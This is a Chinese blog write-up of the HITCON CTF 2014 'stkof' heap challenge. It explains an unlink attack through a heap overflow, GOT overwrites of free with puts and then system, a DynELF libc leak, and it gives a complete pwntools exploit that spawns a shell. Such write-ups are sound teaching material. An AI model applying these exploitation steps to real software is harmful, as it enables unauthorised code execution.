Hitcon2014-stkof writeup

题目描述

题目来源:HITCON CTF 2014
知识点:unlink
这道题没有菜单显示,只能通过分析代码来了解程序功能。

功能:

  1. 添加(输入:长度)
  2. 修改(输入:索引、长度、内容)
  3. 删除(输入:索引)

程序保护情况:

1
2
3
4
5
6
[*] '/home/nick/pwn_learn/heapLearn/unlink/hitcon2014_stkof/stkof'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE

程序分析

add函数中,对分配chunk的大小没有限制,将指针存到全局数组中,可获得指针变量的地址

set函数中,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
signed __int64 set()
{
signed __int64 result; // rax
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]

v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v2 = atol(&s);
if ( v2 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v2] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
n = atoll(&s);
ptr = ::s[v2];
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i;
n -= i;
}
if ( n )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

对写入的长度没有限制,存在堆溢出,所以可以利用unlink漏洞

delete函数中,释放掉堆块并把指针清零0

由于程序中没有可以用来输出数据的函数,于是考虑将puts函数覆写到其他函数的got表(这里选择free函数)

漏洞利用

  1. 分配连续4个chunk(编号1-4),大小为0x80(smallchunk)(通常尽量多申请一个chunk,以隔开top chunk,防止被合并)
  2. 在chunk1中构造fake chunk,准备unlink
    prevsize:0
    size:0x80
    fd:chunk_ptr - 0x18
    bk:chunk_ptr - 0x10
    注意:chunk_ptr是指向chunk0的指针变量所在的地址,而非指针指向的地址
  3. 从chunk1继续溢出到chunk2,修改prevsize、size(inuse位)
    prevsize: 0x80
    size:0x90
  4. 释放chunk2,触发unlink,此后chunk1的指针的值被修改为了chunk_ptr-0x18
  5. 把free的got表修改为puts。
    payload = p64(0)*3 + p64(chunk_ptr-0x18) + p64(free_got)
    set(1, payload)
    set(2, p64(puts))
  6. 使用DynELF泄露system(详见代码)
  7. 利用(5)的方法,再将free的got表修改为system
  8. 向chunk3中写入/bin/sh\x00,释放chunk3,getshell

我的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./stkof')
elf = ELF('./stkof')

free_got = elf.got['free']
puts = elf.symbols['puts']

def add(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')

def set(index, content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('\n')

def delete(index):
p.sendline('3')
p.sendline(str(index))

def leak(addr):
payload = p64(0)*3 + p64(chunk_ptr-0x18) + p64(addr)
set(1, payload)
delete(2)
res = p.recvuntil('OK\n').split('\x0aOK')[0]
if res == '':
res = '\x00'
return res #返回值可以为任意长度,并不清楚原因

chunk_ptr = 0x602148

add(0x80)
add(0x80)
add(0x80)
add(0x80)

#unlink
payload = p64(0) + p64(0x0)
payload += p64(chunk_ptr-0x18) + p64(chunk_ptr-0x10)
payload += 'a' * 0x60
payload += p64(0x80) + p64(0x90)
set(1, payload)
delete(2)
p.recvuntil('OK\n')

#freegot写为puts
payload = p64(0)*3 + p64(chunk_ptr-0x18) + p64(free_got)
set(1, payload)
set(2, p64(puts))

#leak
d = DynELF(leak, elf = elf)
system = d.lookup('system', 'libc')
print "system addr: %#x" % system

#freegot写为system
payload = p64(0)*3 + p64(chunk_ptr-0x18) + p64(free_got)
set(1, payload)
set(2, p64(system))

#getshell
set(3, '/bin/sh\x00')
delete(3)

p.interactive()

相关链接

题目链接:stkof
相关题目:unlink例题
unlink漏洞分析:堆利用学习之unlink

文章作者: Hpasserby
文章链接: https://hpasserby.me/post/e7616071.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hpasserby
支付宝赞赏
微信赞赏